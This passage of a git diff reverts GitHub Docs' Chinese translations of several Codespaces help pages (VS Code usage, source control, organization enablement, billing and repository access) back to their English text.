-3. 编辑器 - 这是您编辑文件的地方。 您可以使用每个编辑器的选项卡将其准确定位到您需要的位置。 -4. 面板 - 这是您可以查看输出和调试信息的位置，以及集成终端的默认位置。 -5. 状态栏 - 此区域提供有关您的代码空间和项目的有用信息。 例如，分支名称、配置端口等。 +1. Side Bar - By default, this area shows your project files in the Explorer. +2. Activity Bar - This displays the Views and provides you with a way to switch between them. You can reorder the Views by dragging and dropping them. +3. Editor - This is where you edit your files. You can use the tab for each editor to position it exactly where you need it. +4. Panels - This is where you can see output and debug information, as well as the default place for the integrated Terminal. +5. Status Bar - This area provides you with useful information about your codespace and project. For example, the branch name, configured ports, and more. -有关使用 {% data variables.product.prodname_vscode %} 的更多信息，请参阅 {% data variables.product.prodname_vscode %} 文档中的[用户界面指南](https://code.visualstudio.com/docs/getstarted/userinterface)。 +For more information on using {% data variables.product.prodname_vscode %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode %} documentation. {% data reusables.codespaces.connect-to-codespace-from-vscode %} -{% data reusables.codespaces.use-chrome %} 更多信息请参阅“[代码空间客户端故障排除](/codespaces/troubleshooting/troubleshooting-codespaces-clients)”。 +{% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-codespaces-clients)." -### 个性化代码空间 +### Personalizing your codespace -{% data reusables.codespaces.about-personalization %} 更多信息请参阅“[个性化您帐户的 {% data variables.product.prodname_codespaces %}](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)”。 +{% data reusables.codespaces.about-personalization %} For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)." -{% data reusables.codespaces.apply-devcontainer-changes %} 更多信息请参阅“[为项目配置 {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)”。 +{% data reusables.codespaces.apply-devcontainer-changes %} For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)." -### 从代码空间运行应用程序 -{% data reusables.codespaces.about-port-forwarding %} 更多信息请参阅“[代码空间中的转发端口](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)”。 +### Running your app from a codespace +{% data reusables.codespaces.about-port-forwarding %} For more information, see "[Forwarding ports in your codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)." -### 提交更改 +### Committing your changes -{% data reusables.codespaces.committing-link-to-procedure %} +{% data reusables.codespaces.committing-link-to-procedure %} ### Using the {% data variables.product.prodname_vscode_command_palette %} The {% data variables.product.prodname_vscode_command_palette %} allows you to access and manage many features for {% data variables.product.prodname_codespaces %} and {% data variables.product.prodname_vscode %}. For more information, see "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)." -## 导航到现有代码空间 +## Navigating to an existing codespace 1. {% data reusables.codespaces.you-can-see-all-your-codespaces %} -2. 单击您要在其中开发的代码空间的名称。 ![代码空间的名称](/assets/images/help/codespaces/click-name-codespace.png) +2. Click the name of the codespace you want to develop in. + ![Name of codespace](/assets/images/help/codespaces/click-name-codespace.png) -或者，您可以通过导航到创建代码空间的仓库并选择 **{% octicon "code" aria-label="The code icon" %} 代码**来查看仓库的任何活动代码空间。 下拉菜单将显示仓库的所有活动代码空间。 +Alternatively, you can see any active codespaces for a repository by navigating to that repository and selecting **{% octicon "code" aria-label="The code icon" %} Code**. The drop-down menu will display all active codespaces for a repository. diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md index 6f5dca0767..2f9f4c0cdc 100644 --- a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md @@ -1,6 +1,6 @@ --- -title: 在 Visual Studio Code 中使用代码空间 -intro: '您可以将 {% data variables.product.prodname_github_codespaces %} 扩展连接到您在 {% data variables.product.product_name %} 上的帐户，直接在 {% data variables.product.prodname_vscode %} 代码空间中开发。' +title: Using Codespaces in Visual Studio Code +intro: 'You can develop in your codespace directly in {% data variables.product.prodname_vscode %} by connecting the {% data variables.product.prodname_github_codespaces %} extension with your account on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code @@ -24,75 +24,75 @@ You can use your local install of {% data variables.product.prodname_vscode %} t By default, if you create a new codespace on {% data variables.product.prodname_dotcom_the_website %}, it will open in the browser. If you would prefer to open any new codespaces in {% data variables.product.prodname_vscode %} automatically, you can set your default editor to be {% data variables.product.prodname_vscode %}. For more information, see "[Setting your default editor for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces)." -If you prefer to work in the browser, but want to continue using your existing {% data variables.product.prodname_vscode %} extensions, themes, and shortcuts, you can turn on Settings Sync. 更多信息请参阅“[为帐户个性化 {% data variables.product.prodname_codespaces %}](/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account#settings-sync)”。 +If you prefer to work in the browser, but want to continue using your existing {% data variables.product.prodname_vscode %} extensions, themes, and shortcuts, you can turn on Settings Sync. For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account#settings-sync)." -## 基本要求 +## Prerequisites -To develop in a codespace directly in {% data variables.product.prodname_vscode %}, you must install and sign into the {% data variables.product.prodname_github_codespaces %} extension with your {% data variables.product.product_name %} credentials. {% data variables.product.prodname_github_codespaces %} 扩展需要 {% data variables.product.prodname_vscode %} 2020 年 10 月 1 日版本 1.51 或更高版本。 +To develop in a codespace directly in {% data variables.product.prodname_vscode %}, you must install and sign into the {% data variables.product.prodname_github_codespaces %} extension with your {% data variables.product.product_name %} credentials. The {% data variables.product.prodname_github_codespaces %} extension requires {% data variables.product.prodname_vscode %} October 2020 Release 1.51 or later. -使用 {% data variables.product.prodname_vs %} Marketplace 安装 [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) 扩展。 更多信息请参阅 {% data variables.product.prodname_vscode %} 文档中的[扩展 Marketplace](https://code.visualstudio.com/docs/editor/extension-gallery)。 +Use the {% data variables.product.prodname_vs %} Marketplace to install the [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) extension. For more information, see [Extension Marketplace](https://code.visualstudio.com/docs/editor/extension-gallery) in the {% data variables.product.prodname_vscode %} documentation. {% mac %} {% data reusables.codespaces.click-remote-explorer-icon-vscode %} -2. 单击 **Sign in to view {% data variables.product.prodname_dotcom %}...（登录以查看 Codespaces...）**。 +2. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**. - ![登录以查看 {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png) + ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png) -3. 要授权 {% data variables.product.prodname_vscode %} 访问您在 {% data variables.product.product_name %} 上的帐户，请单击 **Allow（允许）**。 -4. 登录 {% data variables.product.product_name %} 以审批扩展。 +3. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**. +4. Sign in to {% data variables.product.product_name %} to approve the extension. {% endmac %} {% windows %} {% data reusables.codespaces.click-remote-explorer-icon-vscode %} -2. 使用“REMOTE EXPLORER（远程资源管理器）”下拉列表，然后单击 **{% data variables.product.prodname_github_codespaces %}**。 +2. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**. - ![{% data variables.product.prodname_codespaces %} 标头](/assets/images/help/codespaces/codespaces-header-vscode.png) + ![The {% data variables.product.prodname_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png) -3. 单击 **Sign in to view {% data variables.product.prodname_codespaces %}...（登录以查看 Codespaces...）**。 +3. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**. - ![登录以查看 {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png) + ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png) -4. 要授权 {% data variables.product.prodname_vscode %} 访问您在 {% data variables.product.product_name %} 上的帐户，请单击 **Allow（允许）**。 -5. 登录 {% data variables.product.product_name %} 以审批扩展。 +4. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**. +5. Sign in to {% data variables.product.product_name %} to approve the extension. {% endwindows %} -## 在 {% data variables.product.prodname_vscode %} 中创建代码空间 +## Creating a codespace in {% data variables.product.prodname_vscode %} {% data reusables.codespaces.creating-a-codespace-in-vscode %} -## 在 {% data variables.product.prodname_vscode %} 中打开代码空间 +## Opening a codespace in {% data variables.product.prodname_vscode %} {% data reusables.codespaces.click-remote-explorer-icon-vscode %} -2. 在“Codespaces（代码空间）”下，单击您要在其中开发的代码空间。 -3. 单击 Connect to Codespace（连接到代码空间）图标。 +2. Under "Codespaces", click the codespace you want to develop in. +3. Click the Connect to Codespace icon. - ![{% data variables.product.prodname_vscode %} 中的连接到代码空间图标](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png) + ![The Connect to Codespace icon in {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png) -## 在 {% data variables.product.prodname_vscode %} 中更改机器类型 +## Changing the machine type in {% data variables.product.prodname_vscode %} {% data reusables.codespaces.codespaces-machine-types %} -您可以随时更改代码空间的机器类型。 +You can change the machine type of your codespace at any time. -1. 在 {% data variables.product.prodname_vscode %} 中，打开命令调色板 (`shift command P` / `shift control P`)。 -2. 搜索并选择“代码空间：更改机器类型”。 +1. In {% data variables.product.prodname_vscode %}, open the Command Palette (`shift command P` / `shift control P`). +2. Search for and select "Codespaces: Change Machine Type." - ![搜索分支以创建新的 {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png) + ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png) -3. 单击您要更改的代码空间。 +3. Click the codespace that you want to change. - ![搜索分支以创建新的 {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png) + ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png) -4. 选择您要使用的机器类型。 +4. Choose the machine type you want to use. -如果代码空间正在运行，则会显示一条消息，询问您现在是否要重新启动并重新连接到代码空间。 如果您想立即更改用于此代码空间的机器类型，请单击 **Yes（是）** 。 如果您单击 **No（否）**，或者代码空间当前未运行，更改将在代码空间下次重启时生效。 +If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now. Click **Yes** if you want to change the machine type used for this codespace immediately. If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts. -## 在 {% data variables.product.prodname_vscode %} 中删除代码空间 +## Deleting a codespace in {% data variables.product.prodname_vscode %} {% data reusables.codespaces.deleting-a-codespace-in-vscode %} diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md index 5c68ebfecf..9840e7b32f 100644 --- a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md @@ -1,6 +1,6 @@ --- -title: 在代码空间中使用源控制 -intro: 在对代码空间中的文件进行更改后，您可以快速提交更改并将更新推送到远程仓库。 +title: Using source control in your codespace +intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository. product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -10,68 +10,73 @@ topics: - Codespaces - Fundamentals - Developer -shortTitle: 源控制 +shortTitle: Source control --- -## 关于 {% data variables.product.prodname_codespaces %} 中的源控制 +## About source control in {% data variables.product.prodname_codespaces %} -您可以直接在代码空间内执行所需的所有 Git 操作。 例如，您可以从远程仓库获取更改、切换分支、创建新分支、提交和推送更改，以及创建拉取请求。 您可以使用代码空间内的集成终端输入 Git 命令，也可以单击图标和菜单选项以完成所有最常见的 Git 任务。 本指南解释如何使用图形用户界面来控制源代码。 +You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from the remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control. -在 {% data variables.product.prodname_github_codespaces %} 中的源控制使用与 {% data variables.product.prodname_vscode %} 相同的工作流程。 更多信息请参阅 {% data variables.product.prodname_vscode %} 文档“[在 VS 代码中使用版本控制](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)”。 +Source control in {% data variables.product.prodname_github_codespaces %} uses the same workflow as {% data variables.product.prodname_vscode %}. For more information, see the {% data variables.product.prodname_vscode %} documentation "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)." -使用 {% data variables.product.prodname_github_codespaces %} 更新文件的典型工作流程将是： +A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be: -* 从 {% data variables.product.prodname_dotcom %} 上仓库的默认分支，创建代码空间。 请参阅“[创建代码空间](/codespaces/developing-in-codespaces/creating-a-codespace)”。 -* 在代码空间中，创建一个新的分支来操作。 -* 进行更改并保存。 -* 提交更改。 -* 提出拉取请求。 +* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)." +* In your codespace, create a new branch to work on. +* Make your changes and save them. +* Commit the change. +* Raise a pull request. -## 创建或切换分支 +## Creating or switching branches {% data reusables.codespaces.create-or-switch-branch %} {% tip %} -**提示**：如果有人在远程仓库上更改了文件，则在您切换到的分支中，只有将更改拉入代码空间后，您才能看到这些更改。 +**Tip**: If someone has changed a file on the remote repository, in the branch you switched to, you will not see those changes until you pull the changes into your codespace. {% endtip %} -## 从远程仓库拉取更改 +## Pulling changes from the remote repository -您可以随时将远程仓库的更改拉取到您的代码空间。 +You can pull changes from the remote repository into your codespace at any time. {% data reusables.codespaces.source-control-display-dark %} -1. 在侧边栏的顶部，单击省略号 (**...**)。 ![查看和更多操作的省略号按钮](/assets/images/help/codespaces/source-control-ellipsis-button.png) -1. 在下拉菜单中，单击 **Pull（拉取）**。 +1. At the top of the side bar, click the ellipsis (**...**). +![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button.png) +1. In the drop-down menu, click **Pull**. -如果自创建代码空间以来开发容器配置已更改，则可以通过为代码空间重建容器来应用更改。 更多信息请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)”。 +If the dev container configuration has been changed since you created the codespace, you can apply the changes by rebuilding the container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)." -## 设置代码空间以自动获取新更改 +## Setting your codespace to automatically fetch new changes -您可以设置代码空间，以自动获取对远程仓库所做的任何新提交的详细信息。 这允许您查看仓库的本地副本是否过时，如果是，您可以选择拉取新的更改。 +You can set your codespace to automatically fetch details of any new commits that have been made to the remote repository. This allows you to see whether your local copy of the repository is out of date, in which case you may choose to pull in the new changes. -如果获取操作检测到远程仓库上的新更改，您将在状态栏中看到新提交的数量。 然后，您可以将更改拉取到本地副本。 +If the fetch operation detects new changes on the remote repository, you'll see the number of new commits in the status bar. You can then pull the changes into your local copy. -1. 单击活动栏底部的 **Manage（管理）**按钮。 ![管理按钮](/assets/images/help/codespaces/manage-button.png) -1. 在菜单中，单击 **Settings（设置）**。 -1. 在 Settings（设置）页面上，搜索：`autofetch`。 ![搜索自动获取](/assets/images/help/codespaces/autofetch-search.png) -1. 要获取当前仓库注册的所有远程仓库的更新详情，请将 **Git: Autofetch** 设置为 `all`。 ![启用 Git 自动获取](/assets/images/help/codespaces/autofetch-all.png) -1. 如果要更改自动获取的间隔秒数，请编辑 **Git: Autofetch Period** 的值。 +1. Click the **Manage** button at the bottom of the Activity Bar. +![Manage button](/assets/images/help/codespaces/manage-button.png) +1. In the menu, slick **Settings**. +1. On the Settings page, search for: `autofetch`. +![Search for autofetch](/assets/images/help/codespaces/autofetch-search.png) +1. To fetch details of updates for all remotes registered for the current repository, set **Git: Autofetch** to `all`. +![Enable Git autofetch](/assets/images/help/codespaces/autofetch-all.png) +1. If you want to change the number of seconds between each automatic fetch, edit the value of **Git: Autofetch Period**. -## 提交更改 +## Committing your changes -{% data reusables.codespaces.source-control-commit-changes %} +{% data reusables.codespaces.source-control-commit-changes %} -## 提出拉取请求 +## Raising a pull request -{% data reusables.codespaces.source-control-pull-request %} +{% data reusables.codespaces.source-control-pull-request %} -## 将更改推送到远程仓库 +## Pushing changes to your remote repository -您可以推送所做的更改。 这将应用这些更改到远程仓库上的上游分支。 如果您尚未准备好创建拉取请求，或者希望在 {% data variables.product.prodname_dotcom %} 上创建拉取请求，则可能需要这样做。 +You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}. -1. 在侧边栏的顶部，单击省略号 (**...**)。 ![查看和更多操作的省略号按钮](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) -1. 在下拉菜单中，单击 **Push（推送）**。 +1. At the top of the side bar, click the ellipsis (**...**). +![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) +1. In the drop-down menu, click **Push**. diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md index b46b6ca605..f534a02538 100644 --- a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md +++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md @@ -1,7 +1,7 @@ --- title: Enabling Codespaces for your organization -shortTitle: Enabling Codespaces -intro: '您可以控制组织中的哪些用户可以使用 {% data variables.product.prodname_codespaces %}。' +shortTitle: Enable Codespaces +intro: 'You can control which users in your organization can use {% data variables.product.prodname_codespaces %}.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage user permissions for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner.' redirect_from: @@ -19,27 +19,28 @@ topics: ## About enabling {% data variables.product.prodname_codespaces %} for your organization -组织所有者可以控制组织中的哪些用户可以创建和使用代码空间。 +Organization owners can control which users in your organization can create and use codespaces. To use codespaces in your organization, you must do the following: -- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. +- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. - [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#configuring-which-users-in-your-organization-can-use-codespaces). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users. - [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) +- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)." -By default, a codespace can only access the repository from which it was created. 如果您希望组织中的代码空间能够访问代码空间创建者可以访问的其他组织仓库，请参阅“[管理 {% data variables.product.prodname_codespaces %} 的访问和安全](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)”。 +By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)." ## Enable {% data variables.product.prodname_codespaces %} for users in your organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} -1. 在“User permissions（用户权限）”下，选择以下选项之一： +1. Under "User permissions", select one of the following options: - * **Allow for all users（允许所有用户）**允许所有组织成员使用 {% data variables.product.prodname_codespaces %}。 - * **Selected users（所选用户）**选择特定组织成员使用 {% data variables.product.prodname_codespaces %}。 + * **Allow for all users** to allow all your organization members to use {% data variables.product.prodname_codespaces %}. + * **Selected users** to select specific organization members to use {% data variables.product.prodname_codespaces %}. - !["用户权限"单选按钮](/assets/images/help/codespaces/organization-user-permission-settings.png) + ![Radio buttons for "User permissions"](/assets/images/help/codespaces/organization-user-permission-settings.png) ## Disabling {% data variables.product.prodname_codespaces %} for your organization @@ -50,6 +51,6 @@ By default, a codespace can only access the repository from which it was created ## Setting a spending limit -{% data reusables.codespaces.codespaces-spending-limit-requirement %} +{% data reusables.codespaces.codespaces-spending-limit-requirement %} -有关管理和更改帐户支出限制的信息，请参阅“[管理 {% data variables.product.prodname_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)”。 +For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)." diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md index ece32d21cd..1df624ccef 100644 --- a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md +++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md @@ -1,6 +1,6 @@ --- title: Managing billing for Codespaces in your organization -shortTitle: Managing billing for Codespaces +shortTitle: Manage billing intro: 'You can check your {% data variables.product.prodname_codespaces %} usage and set usage limits.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager.' @@ -13,7 +13,7 @@ topics: - Billing --- -## 概览 +## Overview To learn about pricing for {% data variables.product.prodname_codespaces %}, see "[{% data variables.product.prodname_codespaces %} pricing](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)." @@ -23,13 +23,13 @@ To learn about pricing for {% data variables.product.prodname_codespaces %}, see - For users, there is a guide that explains how billing works: ["Understanding billing for Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces) -## 使用限制 +## Usage limits You can set a usage limit for the codespaces in your organization or repository. This limit is applied to the compute and storage usage for {% data variables.product.prodname_codespaces %}: - + - **Compute minutes:** Compute usage is calculated by the actual number of minutes used by all {% data variables.product.prodname_codespaces %} instances while they are active. These totals are reported to the billing service daily, and is billed monthly. You can set a spending limit for {% data variables.product.prodname_codespaces %} usage in your organization. For more information, see "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)." -- **Storage usage:** For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. 到月底，{% data variables.product.prodname_dotcom %} 会将您的存储量舍入到最接近的 MB。 To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)." +- **Storage usage:** For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)." ## Disabling or limiting {% data variables.product.prodname_codespaces %} @@ -39,10 +39,10 @@ You can also limit the individual users who can use {% data variables.product.pr ## Deleting unused codespaces -Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. +Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. {% note %} -**注意：**只有创建代码空间的人才能将其删除。 目前，组织所有者无法删除其组织内创建的代码空间。 +**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization. {% endnote %} diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md index cd59020ff0..10088f39bd 100644 --- a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md +++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md @@ -1,7 +1,7 @@ --- title: Managing repository access for your organization's codespaces shortTitle: Repository access -intro: '您可以管理 {% data variables.product.prodname_codespaces %} 可以访问的组织仓库。' +intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_codespaces %} can access.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage access and security for Codespaces for an organization, you must be an organization owner.' versions: @@ -18,16 +18,18 @@ redirect_from: - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces --- -默认情况下，代码空间只能访问创建它的仓库。 为组织拥有的仓库启用访问和安全后，则为该仓库创建的任何代码空间都将对该组织拥有的和代码空间创建者有权访问的所有其他仓库具有读取和写入权限。 If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. 您应该只对您信任的仓库启用访问和安全。 +By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust. -要管理组织中的哪些用户可以使用 {% data variables.product.prodname_codespaces %}，请参阅“[管理组织的用户权限](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)”。 +To manage which users in your organization can use {% data variables.product.prodname_codespaces %}, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} -1. 在“Access and security（访问和安全）”下，为组织选择所需的设置。 ![管理信任仓库的单选按钮](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) -1. 如果您选择了“Selected repositories（所选仓库）”，请选择下拉菜单，然后单击一个仓库，以允许该仓库的代码空间访问组织拥有的其他仓库。 对于您要允许其代码空间访问其他仓库的所有仓库重复此操作。 !["所选仓库" 下拉菜单](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) +1. Under "Access and security", select the setting you want for your organization. + ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) +1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories. + !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) -## 延伸阅读 +## Further Reading - "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)" diff --git a/translations/zh-CN/content/codespaces/overview.md b/translations/zh-CN/content/codespaces/overview.md index f266f84a83..82baf5c9f1 100644 --- a/translations/zh-CN/content/codespaces/overview.md +++ b/translations/zh-CN/content/codespaces/overview.md @@ -1,6 +1,6 @@ --- title: GitHub Codespaces overview -shortTitle: 概览 +shortTitle: Overview product: '{% data reusables.gated-features.codespaces %}' intro: 'This guide introduces {% data variables.product.prodname_codespaces %} and provides details on how it works and how to use it.' allowTitleToDifferFromFilename: true @@ -32,11 +32,11 @@ You can create a codespace from any branch or commit in your repository and begi To customize the runtimes and tools in your codespace, you can create a custom configuration to define an environment (or _dev container_) that is specific for your repository. Using a dev container allows you to specify a Docker environment for development with a well-defined tool and runtime stack that can reference an image, Dockerfile, or docker-compose. This means that anyone using the repository will have the same tools available to them when they create a codespace. -If you don't do any custom configuration, {% data variables.product.prodname_codespaces %} will clone your repository into an environment with the default codespace image that includes many tools, languages, and runtime environments. For more information, see "[Configuring Codespaces for your project](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)". +If you don't do any custom configuration, {% data variables.product.prodname_codespaces %} will clone your repository into an environment with the default codespace image that includes many tools, languages, and runtime environments. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)". You can also personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository and [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync). Personalization can include shell preferences, additional 